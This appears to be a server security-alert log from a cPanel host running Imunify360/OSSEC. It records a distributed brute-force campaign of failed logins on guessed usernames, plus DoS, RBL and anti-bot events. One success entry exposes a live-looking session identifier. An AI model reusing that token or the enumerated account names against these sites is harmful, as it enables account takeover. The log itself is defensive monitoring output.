[2026-06-26 00:17:51 +0000] info [cpaneld] 168.196.207.254 - kpmgtg "GET /login/?login_only=1&user=kpmgtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpmgtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.18.59.109
country_id: 3865483
description:
[2026-06-26 00:17:45 +0000] info [cpaneld] 190.18.59.109 - kpmg "GET /login/?login_only=1&user=kpmg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.15.20.107
country_id: 3469034
description:
[2026-06-26 00:17:56 +0000] info [cpaneld] 200.15.20.107 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.169.109.86
country_id: 1562822
description:
[2026-06-26 00:17:41 +0000] info [cpaneld] 14.169.109.86 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.67.182.10
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.67.182.10: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.197.8.59
country_id: 6252001
description:
[2026-06-26 00:18:59 +0000] info [cpaneld] 68.197.8.59 - cameg "GET /login/?login_only=1&user=cameg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cameg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 00:19:07 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.154
country_id: 2635167
description:
[2026-06-26 00:18:55 +0000] info [cpaneld] 5.230.133.154 NEW wcnyaruu:X3aDi0X4qqz0iKcD address=5.230.133.154,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.113.68.249
country_id: 6252001
description:
[2026-06-26 00:19:06 +0000] info [cpaneld] 50.113.68.249 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.58.210
country_id: 3017382
description:
Jun 26 00:18:16 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.58.210 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.163.205.112
country_id: 6252001
description:
[2026-06-26 00:18:38 +0000] info [cpaneld] 98.163.205.112 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 54.218.185.95
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 54.218.185.95: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.193.87.54
country_id: 953987
description:
[2026-06-26 00:19:15 +0000] info [cpaneld] 41.193.87.54 - direct7tg "GET /login/?login_only=1&user=direct7tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.74.247.118
country_id: 3625428
description:
[2026-06-26 00:19:18 +0000] info [cpaneld] 38.74.247.118 - direct "GET /login/?login_only=1&user=direct&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.231.254.78
country_id: 285570
description:
[2026-06-26 00:19:23 +0000] info [cpaneld] 37.231.254.78 - direc "GET /login/?login_only=1&user=direc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-26 00:19:24 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-26 00:19:30 +0000] info [cpaneld] 141.95.93.31 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.182.90.22
country_id: 3865483
description:
[2026-06-26 00:19:34 +0000] info [cpaneld] 186.182.90.22 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.145.158.3
country_id: 6252001
description:
[2026-06-26 00:20:03 +0000] info [cpaneld] 73.145.158.3 - group "GET /login/?login_only=1&user=group&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user group (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 26 00:20:09 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.84.81.188
country_id: 3686110
description:
[2026-06-26 00:19:27 +0000] info [cpaneld] 206.84.81.188 - dire "GET /login/?login_only=1&user=dire&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dire (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:19:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194223&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782432735 HTTP/2.0" 404 159 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/25.12.3.655.10 YaApp_iOS/2512.3 YaApp_iOS_Browser/2512.3 Safari/604.1 SA/3 Version/18.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.118.192.157
country_id: 6252001
description:
[2026-06-26 00:19:58 +0000] info [cpaneld] 159.118.192.157 - groupg "GET /login/?login_only=1&user=groupg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user groupg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.5.35.230
country_id: 3895114
description:
[2026-06-26 00:19:10 +0000] info [cpaneld] 190.5.35.230 - direct7 "GET /login/?login_only=1&user=direct7&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.38.9.209
country_id: 6252001
description:
[2026-06-26 00:19:10 +0000] info [cpaneld] 71.38.9.209 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.68.125.112
country_id: 6252001
description:
[2026-06-26 00:19:44 +0000] info [cpaneld] 173.68.125.112 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.131.19.37
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 34.131.19.37: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 26 00:20:49 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.84.122.198
country_id: 6252001
description:
[2026-06-26 00:21:31 +0000] info [cpaneld] 67.84.122.198 - cc "GET /login/?login_only=1&user=cc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cc (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [26/Jun/2026:00:21:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014163&pdata=https%253A%252F%252Fsahamtg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782433273 HTTP/2.0" 302 0 sahamtg.com "https://sahamtg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.17.40
country_id: 6252001
description:
[2026-06-26 00:21:19 +0000] info [cpaneld] 172.56.17.40 - cciat "GET /login/?login_only=1&user=cciat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cciat (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jun 26 00:22:05 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 00:21:21 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.197
country_id: 690791
description:
Jun 26 00:21:43 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.102
country_id: 3469034
description:
Jun 26 00:22:13 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.102 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 136.107.88.214
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 136.107.88.214: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.240.95.250
country_id: 6252001
description:
[2026-06-26 00:23:15 +0000] info [cpaneld] 72.240.95.250 - universcomtg "GET /login/?login_only=1&user=universcomtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user universcomtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.111.92.24
country_id: 6252001
description:
[2026-06-26 00:23:27 +0000] info [cpaneld] 24.111.92.24 - unive "GET /login/?login_only=1&user=unive&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user unive (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.70.132.185
country_id: 6252001
description:
[2026-06-26 00:23:10 +0000] info [cpaneld] 75.70.132.185 - besteva "GET /login/?login_only=1&user=besteva&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user besteva (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.81.224.131
country_id: 2264397
description:
[2026-06-26 00:23:11 +0000] info [cpaneld] 2.81.224.131 - festics "GET /login/?login_only=1&user=festics&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festics (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.151.104.155
country_id: 3624060
description:
[2026-06-26 00:23:14 +0000] info [cpaneld] 186.151.104.155 - festicstg "GET /login/?login_only=1&user=festicstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festicstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.102.5.44
country_id: 6252001
description:
[2026-06-26 00:23:14 +0000] info [cpaneld] 68.102.5.44 - bestev "GET /login/?login_only=1&user=bestev&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bestev (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.187.180.188
country_id: 6252001
description:
[2026-06-26 00:23:24 +0000] info [cpaneld] 75.187.180.188 - univer "GET /login/?login_only=1&user=univer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user univer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.225.17.86
country_id: 3469034
description:
[2026-06-26 00:23:30 +0000] info [cpaneld] 45.225.17.86 - fes "GET /login/?login_only=1&user=fes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.11.155.27
country_id: 6252001
description:
[2026-06-26 00:23:47 +0000] info [cpaneld] 107.11.155.27 - dkf "GET /login/?login_only=1&user=dkf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.200.37.183
country_id: 6252001
description:
[2026-06-26 00:23:51 +0000] info [cpaneld] 72.200.37.183 - dk "GET /login/?login_only=1&user=dk&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.208.178
country_id: 3923057
description:
[2026-06-26 00:23:19 +0000] info [cpaneld] 181.115.208.178 - festi "GET /login/?login_only=1&user=festi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.97.22.85
country_id: 3469034
description:
[2026-06-26 00:23:24 +0000] info [cpaneld] 138.97.22.85 - fest "GET /login/?login_only=1&user=fest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.182.65.254
country_id: 6252001
description:
[2026-06-26 00:23:33 +0000] info [cpaneld] 75.182.65.254 - dkfood "GET /login/?login_only=1&user=dkfood&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfood (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.28.134.178
country_id: 248816
description:
[2026-06-26 00:23:16 +0000] info [cpaneld] 176.28.134.178 - festic "GET /login/?login_only=1&user=festic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.1.236.162
country_id: 6252001
description:
[2026-06-26 00:23:27 +0000] info [cpaneld] 71.1.236.162 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.165.62.90
country_id: 294640
description:
Denial of Service (DoS) attack was discovered from 34.165.62.90: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.145.129.229
country_id: 294640
description:
[2026-06-26 00:24:17 +0000] info [cpaneld] 45.145.129.229 - hini89 "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hini89 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.185.183.152
country_id: 6252001
description:
[2026-06-26 00:25:59 +0000] info [cpaneld] 71.185.183.152 - lagor "GET /login/?login_only=1&user=lagor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.14.118.114
country_id: 6252001
description:
[2026-06-26 00:25:38 +0000] info [cpaneld] 98.14.118.114 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.226.184.72
country_id: 6252001
description:
[2026-06-26 00:25:48 +0000] info [cpaneld] 98.226.184.72 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.154.48.56
country_id: 6252001
description:
[2026-06-26 00:26:02 +0000] info [cpaneld] 141.154.48.56 - lago "GET /login/?login_only=1&user=lago&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lago (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.216
country_id: 1880251
description:
43.173.175.216 - - [26/Jun/2026:00:26:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392520&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F20052&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782433591 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/20052" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.216


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.251.171.62
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.251.171.62: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.48.54.247
country_id: 6252001
description:
[2026-06-26 00:27:54 +0000] info [cpaneld] 108.48.54.247 - audite "GET /login/?login_only=1&user=audite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audite (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.242.197.39
country_id: 3017382
description:
209.242.197.39 - - [26/Jun/2026:00:28:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10329956&pdata=https%253A%252F%252Ftogomedia24.tg%252F2025%252F01%252F14%252Fkarim-dermane-rejoint-le-kv-courtrai-pour-la-seconde-partie-de-saison%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782433682 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2025/01/14/karim-dermane-rejoint-le-kv-courtrai-pour-la-seconde-partie-de-saison/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.1821.1803 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.242.197.39


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.253.71.28
country_id: 6252001
description:
[2026-06-26 00:27:46 +0000] info [cpaneld] 108.253.71.28 - auditecc "GET /login/?login_only=1&user=auditecc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.124.152
country_id: 6252001
description:
[2026-06-26 00:27:50 +0000] info [cpaneld] 172.56.124.152 - auditec "GET /login/?login_only=1&user=auditec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.145.13.37
country_id: 6252001
description:
[2026-06-26 00:27:35 +0000] info [cpaneld] 73.145.13.37 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.114.139.70
country_id: 6252001
description:
[2026-06-26 00:28:34 +0000] info [cpaneld] 76.114.139.70 - nstrea "GET /login/?login_only=1&user=nstrea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstrea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.244.119.76
country_id: 6252001
description:
[2026-06-26 00:28:43 +0000] info [cpaneld] 96.244.119.76 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.224.94.102
country_id: 6252001
description:
[2026-06-26 00:28:51 +0000] info [cpaneld] 96.224.94.102 - experts "GET /login/?login_only=1&user=experts&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user experts (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.212.72.229
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.212.72.229: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.112.229.158
country_id: 2328926
domain: simple.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/simple.free.netmaster.tg/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.148.79.38
country_id: 6252001
description:
[2026-06-26 00:28:58 +0000] info [cpaneld] 73.148.79.38 - exper "GET /login/?login_only=1&user=exper&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exper (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.89.223.75
country_id: 6252001
description:
[2026-06-26 00:29:00 +0000] info [cpaneld] 167.89.223.75 - expe "GET /login/?login_only=1&user=expe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.111.210.138
country_id: 6252001
description:
[2026-06-26 00:28:39 +0000] info [cpaneld] 70.111.210.138 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.176.44.82
country_id: 6252001
description:
[2026-06-26 00:28:53 +0000] info [cpaneld] 98.176.44.82 - sotranetogocom "GET /login/?login_only=1&user=sotranetogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.170.147.89
country_id: 6252001
description:
[2026-06-26 00:29:13 +0000] info [cpaneld] 70.170.147.89 - sotr "GET /login/?login_only=1&user=sotr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.190.163.170
country_id: 6252001
description:
[2026-06-26 00:29:26 +0000] info [cpaneld] 192.190.163.170 - spe "GET /login/?login_only=1&user=spe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.36.92.233
country_id: 6252001
description:
[2026-06-26 00:29:29 +0000] info [cpaneld] 73.36.92.233 - sp "GET /login/?login_only=1&user=sp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.180.33.43
country_id: 6252001
description:
[2026-06-26 00:29:22 +0000] info [cpaneld] 70.180.33.43 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:29:25 +0000] "GET /6 HTTP/2.0" 200 11960 libertetogo.tg "https://libertetogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194223&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782432735" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-26 00:30:12 +0000] info [cpaneld] 141.95.93.31 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 8.17.109.244
country_id: 6252001
description:
[2026-06-26 00:30:30 +0000] info [cpaneld] 8.17.109.244 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.207.245.109
country_id: 6252001
description:
[2026-06-26 00:30:34 +0000] info [cpaneld] 72.207.245.109 - perfectlabo "GET /login/?login_only=1&user=perfectlabo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectlabo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.213.238.215
country_id: 6252001
description:
[2026-06-26 00:30:37 +0000] info [cpaneld] 151.213.238.215 - perfectlabocom "GET /login/?login_only=1&user=perfectlabocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectlabocom (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 128.79.118.44
country_id: 3017382
description:
